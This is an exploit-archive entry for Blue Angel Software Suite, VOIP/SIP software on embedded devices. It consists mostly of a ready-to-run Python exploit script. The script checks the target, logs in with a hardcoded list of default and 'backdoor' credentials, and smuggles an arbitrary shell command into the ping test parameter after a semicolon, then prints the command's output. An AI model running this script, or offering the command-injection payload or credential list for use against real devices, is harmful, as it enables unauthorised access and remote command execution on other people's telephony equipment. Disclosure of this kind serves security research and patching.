Blue Angel Software Suite Command Execution

Blue Angel Software Suite suffers from a command execution vulnerability.


MD5 | dc3f10de32d4a4e0b259429e4082c1ad

# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one.
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

res = requests.get(target + ':' + port)

if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
return True
else:
print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
return False

def check_login(target,port,command):

if not check_sw(target,port):
sys.exit()

creds_common = [('blueangel','blueangel'), #the "backdoor" account
('root','abnareum10'),
('root','[email protected]'),
('root','superuser'),
('user','user') ,
('guest','guest'),
]

for i in range(len(creds_common)):
postdata=[('action','login_authentication'),
('redirect_action','sysinfo_page'),
('login_username',creds_common[i][0]),
('login_password',creds_common[i][1]),
('B1','Login')
]

res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

if 'Set-Cookie' in res.headers:
cookie = res.headers.get('Set-Cookie')
print '[+] LOGGED IN WITH CREDENTIALS ' + str(creds_common[i][0] + ' : ' + creds_common[i][1])
execute_cmd(target,port,cookie,command)
return True


def execute_cmd(target,port,cookie,cmd):

print '[+] EXECUTING COMMAND'
new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
'Referer': target,
'Cookie': cookie
})
res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
res_lines = res.text.splitlines()
result = []
copy = False

for line in res_lines:

if 'round-trip min/avg/max' in line:
copy = True
elif '</pre></body></html>' in line:
copy = False
elif copy == True:
result.append(line)

print('[+] COMMAND RESPONSE')
print('------------------------------------------')

for r in result:
print r
print('------------------------------------------')


def main():

if len(sys.argv) < 4:
print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
sys.exit()

target = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
if not check_login(target,port,command):
print '[-] COULD NOT FIND VALID CREDENTIALS'

if __name__ == "__main__":
main()

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